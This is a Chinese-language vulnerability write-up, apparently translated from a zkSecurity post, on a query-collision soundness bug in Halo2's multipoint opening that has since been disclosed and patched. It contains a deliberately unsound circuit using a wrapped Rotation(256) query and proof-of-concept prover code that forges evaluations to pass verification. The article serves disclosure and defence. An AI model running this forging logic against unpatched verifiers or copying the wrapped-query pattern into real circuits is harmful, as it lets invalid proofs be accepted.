1. 引言
最近zkSecurity团队在 Halo2 中发现了一个微妙但重要的可靠性(soundness)问题,将其命名为查询冲突漏洞(Query Collision Bug)。该问题影响某些边界情况电路,存在于多个广泛使用的版本中,包括 Zcash 的主实现——https://github.com/zcash/halo2 和 PSE 的分支——https://github.com/privacy-scaling-explorations/halo2。已将该问题报告给相关团队,包括 Zcash、PSE 和 Axiom,他们现均已修复该问题。尽管尚无已知的生产级电路受到影响,但该漏洞揭示了证明系统中一个令人意外的脆弱点,值得关注。
该漏洞出现在同一个多项式在多点开启证明(multipoint opening argument)中被在同一点多次查询的情况下。结果是,其中一次的查询会在多点开启过程中被悄悄忽略,从而允许恶意的证明者伪造评估值并通过验证。实际上,只需添加一个额外的(人为构造的)列查询,就可能引入查询冲突,从而破坏电路的可靠性。
在本文中,将解释该漏洞的根本原因,展示一个具体的利用示例,并讨论 Halo2 上游项目如何修复该问题。
2. 背景:Halo2 如何处理查询
Halo2 是一个基于 PLONK 协议 的零知识证明框架,由 Electric Coin Company(ECC)为 Zcash 开发。Halo2 中的电路被结构化为表格形式:
- 每一列存储一组值,而每一行代表一次计算步骤。
- 约束通过在特定偏移量(rotation)处对这些列中的值进行查询来定义。
每一列都被编码为一个有限域上的多项式。对某列在某一偏移处的查询,相当于在定义域的某个点上对其多项式求值。如,查询列 a
的当前行意味着在某个挑战点
r
r
r 上对该多项式求值;查询下一行则意味着在
r
⋅
ω
r \cdot \omega
r⋅ω 上求值,其中
ω
\omega
ω 是单位根(primitive root of unity),表示域中下一个乘法子群的点。
列之间的约束通过“门”(gate)来实现。如,以下 gate 查询了 column1
的当前行与 column2
的下一行,并强制它们满足 column1[i] = column2[i+1]
的关系:
// 创建一个 gate,检查两列在指定偏移处的值是否相等。
meta.create_gate("offset equal gate", |meta| {
let a1 = meta.query_advice(column1, Rotation::cur()); // 查询 column1 当前行
let a2 = meta.query_advice(column2, Rotation::next()); // 查询 column2 下一行
vec![(a1 - a2)] // 强制 a1 - a2 = 0
});
在证明系统层面,证明者会使用多项式承诺方案(Polynomial Commitment Scheme,简称 PCS,如 IPA 或 KZG)对这些列进行承诺(commit)。验证者接收到这些承诺后,会在某个随机点上检查 gate 约束是否成立。
对于上文的“偏移相等 gate(offset equal gate)”,证明者将 column1
和 column2
分别表示为多项式
f
(
x
)
f(x)
f(x) 和
g
(
x
)
g(x)
g(x),对它们做出承诺,并将这些承诺发送给验证者。验证者希望验证对于评估域中的所有
x
x
x,都有
f
(
x
)
=
g
(
x
⋅
ω
)
f(x) = g(x \cdot \omega)
f(x)=g(x⋅ω) 成立。证明者通过发送一个多项式
h
(
x
)
h(x)
h(x) 的承诺并声称:
f ( x ) − g ( x ⋅ ω ) = V ( x ) ⋅ h ( x ) f(x) - g(x \cdot \omega) = V(x) \cdot h(x) f(x)−g(x⋅ω)=V(x)⋅h(x)
其中 V ( x ) V(x) V(x) 是定义在域上的消零多项式(vanishing polynomial),它在评估域上的所有点均为 0。验证者随后使用 Fiat-Shamir 启发式生成一个随机点 r r r,并验证等式:
f ( r ) − g ( r ⋅ ω ) = V ( r ) ⋅ h ( r ) f(r) - g(r \cdot \omega) = V(r) \cdot h(r) f(r)−g(r⋅ω)=V(r)⋅h(r)
如果这个等式在随机点 r r r 上成立,那么根据 Schwartz-Zippel 引理,可以以可忽略的错误概率断言该等式在整个域上成立。因此, f f f 和 g g g 在所需偏移处是相等的,“offset equal gate” 成立。为了执行这个检查,验证者需要在某些点上对承诺的多项式进行求值,这正是通过 多项式承诺开启(opening)操作完成的。
在实际应用中,电路通常包含很多列和很多 gate,因此需要对多个多项式在多个点上进行评估。为了提高效率,Halo2 使用了多点开启(multi-point opening)技术——具体来说是 SHPLONK 方案。该方案允许验证者将多个对不同多项式和不同评估点的查询批处理为一个证明。在内部,验证者会对这些评估进行批量处理,计算所有承诺与声称评估值的线性组合,并检查一个聚合后的等式是否成立,从而保证所有约束都被满足。
这种优化极大地提升了性能,但正如将在下一节看到的,当查询发生冲突时,当前实现会引入一些细微的陷阱。
3. 多点开启与查询冲突漏洞
多点开启论证(Multipoint Opening Argument) 被用于高效地在多个点上验证多个多项式承诺。理论上,Halo2 的实现会维护一个从 (Commitment, QueryPoint)
映射到 Value
的映射表,以跟踪这些查询。这里,键是一个包含多项式承诺和查询点的元组(Commitment, QueryPoint)
,值是该多项式在该点上的评估结果 Value
。
所谓“查询冲突(query collision)”,是指:
- 两个独立的查询具有相同的键——即它们引用了相同的承诺并在相同的评估点进行查询——即使它们的预期值是不同的。
- 当这种情况发生时,其中一个评估值会在映射表中悄然覆盖另一个,从而导致其中一个查询在验证过程中被忽略。
这就是该漏洞的核心问题:
- 一个恶意的证明者可以利用这一点来伪造证明,因为其中一个评估根本不会被校验,从而绕过多项式承诺的验证。
Halo2 的前端试图去重这些查询。如,如果用户对列 a
的当前行进行了两次查询,前端会将其合并为一个查询,只进行一次评估。然而,仍有两种情况可能引发查询冲突:
- 1)情况1:对两个在某个点上具有相同承诺值的列进行查询。如,同时查询列
a
和列b
的当前行,而这两个列是完全相同的,因此它们的承诺也相等。 - 2)情况2:对同一列在不同偏移(rotation)处进行查询(这些不会被前端去重),但由于评估域的环绕(domain wrapping)特性,这些偏移对应的其实是相同的评估点。
情况 1 在 Zcash 和 PSE 的 Halo2 实现中不是问题,因为这些实现通过 引用(reference) 比较承诺,而不是通过值(value)。即使两个承诺的值相同,只要它们在内存中是不同的对象,就会在映射表中被视为不同的键。因此可以避免碰撞。然而,如果未来某些实现改变了这种行为,这种比较机制可能会成为隐患。
impl<'r, 'params: 'r, C: CurveAffine> PartialEq for CommitmentReference<'r, 'params, C> {
fn eq(&self, other: &Self) -> bool {
match (self, other) {
(&CommitmentReference::Commitment(a), &CommitmentReference::Commitment(b)) => {
std::ptr::eq(a, b)
}
(&CommitmentReference::MSM(a), &CommitmentReference::MSM(b)) => std::ptr::eq(a, b),
_ => false,
}
}
}
情况 2 更加微妙,并影响所有广泛使用的 Halo2 版本。
在 Halo2 中,表格(trace table)的长度总是
2
k
2^k
2k 的形式,即长度是 2 的幂,而评估域是一个具有相同大小的乘法子群。给定一个挑战点
r
r
r,将其旋转
2
k
2^k
2k 次会使其回到自身:
r
⋅
ω
2
k
=
r
r \cdot \omega^{2^k} = r
r⋅ω2k=r
这意味着对某列在 Rotation(0)
和 Rotation(2^k)
的查询,实际上是在同一个评估点上进行查询。
然而,由于这两个查询被前端视为不同的 rotation,所以不会被去重,从而产生了对同一个多项式在同一个点上的两次查询——也就是一次查询冲突。
更一般地说,对于任意的 Rotation(a)
和 Rotation(b)
,只要
a
≡
b
(
m
o
d
2
k
)
a \equiv b \pmod{2^k}
a≡b(mod2k),它们就对应于评估域中的同一个位置。这种细节非常容易被忽视,而这正是该漏洞的根本原因。
下面是一个示例电路,演示了此问题的具体表现。这个名为 “hack eq gate” 的门会在 Rotation(256)
处查询 advice2
列(假设电路表格大小为
2
k
=
256
2^k = 256
2k=256)。由于
256
≡
0
(
m
o
d
2
k
)
256 \equiv 0 \pmod{2^k}
256≡0(mod2k),所以这个查询实际上回绕(wrap around)到了当前行。
因此,advice2
在同一个评估点被查询了两次 —— 一次在 “hack eq gate” 中,一次在 “eq gate” 中 —— 从而触发了查询冲突(query collision)漏洞。
在实践中,任何满足
r
≡
0
(
m
o
d
2
k
)
r \equiv 0 \pmod{2^k}
r≡0(mod2k) 的 Rotation
(如 512
或 1024
)也会发生回绕,并可能引发类似的碰撞。
这种细节可以被恶意证明者利用,伪造一个通过验证的证明,具体将在下一节中展示。
// 警告:该电路不具备可靠性(soundness)
fn configure(meta: &mut ConstraintSystem<F>) -> Self::Config {
let advice1 = meta.advice_column();
let advice2 = meta.advice_column();
let selector = meta.selector();
// 创建一个“正常”的门,检查两个 advice 列在当前行是否相等
meta.create_gate("eq gate", |meta| {
let a1 = meta.query_advice(advice1, Rotation::cur());
let a2 = meta.query_advice(advice2, Rotation::cur());
let sel = meta.query_selector(selector);
vec![sel * (a1 - a2)]
});
// 创建一个“hack”门,查询回绕后的行
meta.create_gate("hack eq gate", |meta| {
let a1 = meta.query_advice(advice1, Rotation::cur());
// 本电路总共有 2^k = 256 行
// 因为 256 ≡ 0 mod 256,所以这个查询回绕到了当前行
let wrapped_a2 = meta.query_advice(advice2, Rotation(256));
let sel = meta.query_selector(selector);
vec![sel * (a1 - wrapped_a2)]
});
[...]
}
4. 攻击示例(PoC)
如上所示,任何包含重复回绕查询的 Halo2 电路都是不可靠的(unsound)。在此提供了一个概念验证攻击代码(PoC),展示了如何通过利用查询冲突漏洞来伪造一个合法的证明。
以下代码片段展示了加入到证明器中的核心逻辑。它修改了第二个(发生碰撞的)查询的评估值,以通过 “消失表达式(vanishing expression)” 的校验。由于查询冲突漏洞的存在,第二次查询在多点开启论证中被静默忽略,因此这个修改不会被验证器检测出来。
// 为了通过 vanishing expression(消失表达式)校验,修改重复查询的评估值。
// 之所以可以这样做,是因为在承诺校验中,重复查询的第二项会被忽略。
let mut advice_evals = self.get_advice_evals(x, &advice);
println!("origin advice evals {:?} ", advice_evals);
let sel_x = eval_polynomial(&self.pk.fixed_polys[0].values, *x);
// 计算 h(x) 的值:(y * gate1 + gate0) / (x^n - 1)
// gate1 = sel(x) * (advice1(x) - advice2(x))
// gate0 = sel(x) * (advice1(x) - advice2(x * omega^256))
let fn_get_prover_h_x = |advice_evals: &Vec<<Scheme as CommitmentScheme>::Scalar>| {
(*y * sel_x * (advice_evals[0] - advice_evals[1]) + sel_x * (advice_evals[0] - advice_evals[2])) * (x_pow_n - Scheme::Scalar::ONE).invert().unwrap()
};
let calculated_h_x = fn_get_prover_h_x(&advice_evals);
println!("calculated h(X): {:?}", calculated_h_x);
// 获取承诺的 h(x)
// 如果这不是一个合法证明,那么两个 h(x) 应该不会一致
let committed_h_x = vanishing.h_x(x, x_pow_n, &self.pk.vk.domain, self.transcript);
println!("verifier expected h(x): {:?}", committed_h_x);
// 修改 advice 评估值以匹配 h(x)
let diff = (committed_h_x - calculated_h_x) * (x_pow_n - Scheme::Scalar::ONE) * (sel_x.invert().unwrap());
advice_evals[2] = advice_evals[2] - diff;
let modified_h_x = fn_get_prover_h_x(&advice_evals);
println!("prover modified h(X):{:?}", modified_h_x);
这段代码展示了一个恶意证明者如何通过调整 witness(见证数据)来伪造一个通过验证的证明,即便这个 witness 是无效的。
可以运行以下命令来观察伪造的证明如何被接受:
cargo run --package halo2_proofs --example query-collision-circuit-example
5. 修复方案
此问题最初是在某个 Halo2 下游分支的审计过程中被发现的。在确认上游项目也受到影响后,zkSecurity团队立即向相关团队报告了此问题,包括 Zcash、PSE、Axiom、ezkl 等。幸运的是,在生产部署中并未发现实际影响,相关补丁也已发布。Zcash 的修复 PR 可见此链接。
修复方法其实很简单:
- 在多点开启(multipoint opening)论证中,应该检测是否存在查询冲突,即是否对同一个承诺和相同评估点出现了值不一致的查询。一旦检测到此类冲突,应直接拒绝该证明。
这样可以确保所有查询都被一致地检查,防止恶意证明者利用该漏洞。
6. 总结
本文:
- 揭示了 Halo2 中一个严重的正确性(soundness)问题:
- 在多点开启(multipoint opening)论证中,如果在相同的评估点对同一个多项式进行了重复查询,恶意证明者可以利用这一“查询冲突”漏洞伪造证明。
- 演示了这个隐蔽的漏洞是如何在仅添加一个额外查询的情况下就破坏整个电路的正确性,并提供了一个概念验证(PoC)攻击示例。
多点开启是零知识证明系统中广泛使用的一种优化技术,因此其他采用该技术的框架中也可能存在类似问题。开发者与审计人员应充分重视此类陷阱,认真审查其证明系统中查询的批处理与去重机制。
参考资料
[1] zkSecurity团队2025年7月9日博客 Uncovering the Query Collision Bug in Halo2: How a Single Extra Query Breaks Soundness